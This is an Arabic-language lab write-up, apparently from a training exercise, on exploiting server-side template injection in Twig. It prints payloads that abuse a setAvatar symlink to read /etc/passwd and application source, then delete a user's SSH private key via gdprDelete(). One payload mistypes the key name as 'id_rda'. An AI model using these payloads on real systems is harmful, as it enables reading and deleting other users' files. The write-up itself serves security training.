> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-with-custom-exploit.md).

# SSTI باستغلال مخصص

### حقن القوالب من جهة الخادم مع استغلال مخصص

التطبيق عرضة لحقن SSTI. / الهدف هو إنشاء استغلال مخصص **exploit** الذي يسمح لك بإزالة `/home/carlos/.ssh/id_rsa` ملف. / اتصال محتمل مع المستخدم: `wiener:peter`.

#### نقطة قابلة للحقن

الـ **الاسم المستعار** الحقل عرضة للثغرة:

```python
}}{{7*7
```

يتم تقييم التعبير.

<figure><img src="/files/a3e8d9e135a96fcc8294717cde4275e2c2863168" alt=""><figcaption></figcaption></figure>

من خلال استثارة خطأ:

```php
}}{{7/a
```

تم اكتشاف أن المحرك المستخدم هو **Twig (PHP)**.

<figure><img src="/files/9e831c854e5f25f4fd4b8a9af1cb5c3ea6118f5a" alt=""><figcaption></figcaption></figure>

#### تحويل وظيفة D

يمكن تعريف صورة رمزية مخصصة عبر:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/aec583fa9c5fb12b7a8c22424e38bb7a603038be" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb3ab067c23d82ad81785c0d73aa145477e33c30" alt="" width="496"><figcaption></figcaption></figure>

تُنشئ هذه الآلية **وصلة رمزية** إلى أي ملف قابل للقراءة. / وبالتالي، يمكنك استعادة محتواك بتنزيل الصورة الرمزية.

#### مثال

قراءة `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

يكون الملف متاحًا عند فتح الصورة

<figure><img src="/files/9abe41b43ed385ee622b564ec7ea4710c65e84b4" alt=""><figcaption></figcaption></figure>

#### تحليل الشيفرة `User.php`

الـ `/home/carlos/User.php` يكشف الملف:

<figure><img src="/files/a5571d62ad577ded43bebe5bba59c89155eca5e7" alt=""><figcaption></figcaption></figure>

\*\*ال `gdprDelete()` الدالة تزيل فعليًا الملف الذي تشير إليه الوصلة الرمزية. \*\*/ هذا بالضبط ما ينبغي استخدامه لحذف `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### العملية: إزالة `/home/carlos/.ssh/id_rsa`

إنشاء وصلة رمزية إلى مفتاح SSH الخاص بكارلوس

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

تحفيز الإزالة عبر:

```php
user.gdprDelete()
```

تشير الوصلة الرمزية إلى `id_rsa`/ `gdprDelete()` يمحو **الهدف** الرابط \*\*`id_rsa` يتم حذف الملف. \*\*


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